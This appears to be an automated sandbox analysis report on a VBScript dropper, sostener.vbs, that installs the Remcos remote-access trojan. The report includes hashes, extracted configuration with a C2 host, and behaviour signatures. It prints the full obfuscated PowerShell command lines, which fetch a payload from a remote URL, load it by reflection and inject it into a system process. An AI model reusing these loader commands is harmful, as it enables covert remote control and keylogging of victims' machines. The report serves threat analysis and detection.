Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-09-2024 08:57

General

  • Target

    sostener.vbs

  • Size

    499KB

  • MD5

    3b4164bdb4cf6c49570c95714f8c17a5

  • SHA1

    13c7abef0333088056a8c11c951c97fcb878ad96

  • SHA256

    fac857a7fa291be79831caef11498e067c036cd66812c7f1244b95b3e78a3ea4

  • SHA512

    460bf20b6d30b4314703b67356828e540db80b43e3afc37ce2d075660370a4a306659075abe4a6895039df86316d95756441e40546d8d72daef7c5c11e7155ac

  • SSDEEP

    12288:n9D/msDMDwwpZcKHg9NR4A6sgmkhf1dM4Y6ebu5Z2PqoKuN8HUe5FXNbSEKOsyTE:Sbqj

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    registros.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XDNGQ0

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Capturas de pantalla

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdldC1WQVJJQWJMZSAnKk1EcionKS5OYU1lWzMsMTEsMl0tSm9JbicnKSAoKCgnazgnKydmdScrJ3InKydsID0gYzlJaHR0cHM6Ly9pYScrJzYwMDEwMC51cy4nKydhJysncmNoaXZlJysnLm9yZy8yNC9pdGVtcy9kZXRhaC1ub3RlLXYvRGV0YScrJ2hOb3RlVi50eHRjJysnOUk7azhmYicrJ2FzJysnZTY0Q29udCcrJ2VudCA9ICcrJyhOJysnZXctTycrJ2JqZWN0JysnIFN5c3RlbScrJy5OZXQuV2ViQ2xpZW50KS4nKydEb3dubG9hZCcrJ1N0JysncmluJysnZyhrOGZ1cmwpJysnO2snKyc4ZmJpbmEnKydyeUMnKydvbnRlbnQgPScrJyBbJysnU3knKydzdGVtLkMnKydvbnYnKydlJysncnRdOicrJzpGcm9tQmFzZScrJzY0U3RyaW5nKGs4ZmJhc2U2NEMnKydvbnQnKydlbnQnKycpO2s4ZmFzc2VtYmx5ID0gWycrJ1JlZmxlY3Rpb24uQXNzZW1ibHldJysnOjonKydMb2FkKCcrJ2s4ZicrJ2JpbmFyeUNvbnQnKydlbnQpO2s4ZicrJ3R5cGUgJysnPScrJyBrOGZhc3NlbScrJ2JsJysneS4nKydHZXRUeXAnKydlJysnKGM5JysnSVJ1blBFLkgnKydvbWVjOUkpOycrJ2s4ZicrJ21ldGhvZCA9ICcrJ2snKyc4ZnR5cGUnKycuR2V0TWV0JysnaG9kKGM5SVZBSWM5SSk7JysnazhmbWV0aG9kLkludicrJ29rZShrOGZudWxsLCcrJyBbb2InKydqZScrJ2N0W11dQChjOUkwL29Tc2tXL2QvZWUuJysnZScrJ3RzYXAvLycrJzpzcHR0aGM5SSAsJysnIGM5JysnSWQnKydlcycrJ2F0aXYnKydhZCcrJ29jOUknKycgJysnLCBjOUknKydkZXNhdGknKyd2YWRvYzknKydJICwgYzknKydJZGVzJysnYXRpdmFkb2M5SSxjJysnOUlBZGRJblByb2Nlc3MzMmM5SSxjOUljOUkpJysnKScpICAtY1JFcGxBQ0UgKFtDSGFSXTk5K1tDSGFSXTU3K1tDSGFSXTczKSxbQ0hhUl0zOSAgLXJFcExBY0UnazhmJyxbQ0hhUl0zNikgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((get-VARIAbLe '*MDr*').NaMe[3,11,2]-JoIn'') ((('k8'+'fu'+'r'+'l = c9Ihttps://ia'+'600100.us.'+'a'+'rchive'+'.org/24/items/detah-note-v/Deta'+'hNoteV.txtc'+'9I;k8fb'+'as'+'e64Cont'+'ent = '+'(N'+'ew-O'+'bject'+' System'+'.Net.WebClient).'+'Download'+'St'+'rin'+'g(k8furl)'+';k'+'8fbina'+'ryC'+'ontent ='+' ['+'Sy'+'stem.C'+'onv'+'e'+'rt]:'+':FromBase'+'64String(k8fbase64C'+'ont'+'ent'+');k8fassembly = ['+'Reflection.Assembly]'+'::'+'Load('+'k8f'+'binaryCont'+'ent);k8f'+'type '+'='+' k8fassem'+'bl'+'y.'+'GetTyp'+'e'+'(c9'+'IRunPE.H'+'omec9I);'+'k8f'+'method = '+'k'+'8ftype'+'.GetMet'+'hod(c9IVAIc9I);'+'k8fmethod.Inv'+'oke(k8fnull,'+' [ob'+'je'+'ct[]]@(c9I0/oSskW/d/ee.'+'e'+'tsap//'+':sptthc9I ,'+' c9'+'Id'+'es'+'ativ'+'ad'+'oc9I'+' '+', c9I'+'desati'+'vadoc9'+'I , c9'+'Ides'+'ativadoc9I,c'+'9IAddInProcess32c9I,c9Ic9I)'+')') -cREplACE ([CHaR]99+[CHaR]57+[CHaR]73),[CHaR]39 -rEpLAcE'k8f',[CHaR]36) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3156
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
            PID:1280
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
              PID:4460
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              4⤵
                PID:1944
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:5036

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\remcos\registros.dat

          Filesize

          144B

          MD5

          12a0d36f9c69eb50999076f67673d404

          SHA1

          2b4d81e3c134d05319e1307256c62cf6cd470854

          SHA256

          0b356192b1e3e80282ae8c72ed18794e45e274ef143f18f663402f56020ba92f

          SHA512

          9f7ef6c2d7b90cd746b79f657ce54434461093a4b442122abeacc82ae4898eb9516bf0e5459fdabea65601da3d0edc0159b5f94d28059e2395987386c52098c1

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          d8b9a260789a22d72263ef3bb119108c

          SHA1

          376a9bd48726f422679f2cd65003442c0b6f6dd5

          SHA256

          d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

          SHA512

          550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjhkmc1a.xu1.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3156-22-0x000002B836740000-0x000002B83694C000-memory.dmp

          Filesize

          2.0MB

        • memory/4232-0-0x00007FFDF7A33000-0x00007FFDF7A35000-memory.dmp

          Filesize

          8KB

        • memory/4232-1-0x000001B45B3D0000-0x000001B45B3F2000-memory.dmp

          Filesize

          136KB

        • memory/4232-11-0x00007FFDF7A30000-0x00007FFDF84F1000-memory.dmp

          Filesize

          10.8MB

        • memory/4232-12-0x00007FFDF7A30000-0x00007FFDF84F1000-memory.dmp

          Filesize

          10.8MB

        • memory/4232-23-0x00007FFDF7A33000-0x00007FFDF7A35000-memory.dmp

          Filesize

          8KB

        • memory/4232-24-0x00007FFDF7A30000-0x00007FFDF84F1000-memory.dmp

          Filesize

          10.8MB

        • memory/4232-31-0x00007FFDF7A30000-0x00007FFDF84F1000-memory.dmp

          Filesize

          10.8MB

        • memory/5036-65-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-75-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-34-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-36-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-37-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-38-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-40-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-41-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-42-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-44-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-45-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-47-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-48-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-49-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-51-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-52-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-53-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-55-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-56-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-58-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-59-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-61-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-62-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-63-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-25-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-66-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-67-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-69-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-70-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-72-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-73-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-32-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-76-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-77-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-79-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-80-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-82-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-83-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-84-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-86-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-87-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-89-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-90-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-92-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-93-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-94-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-96-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-97-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-98-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-100-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-101-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-103-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-104-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-106-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-107-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-108-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-110-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-111-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-112-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-114-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-115-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/5036-117-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB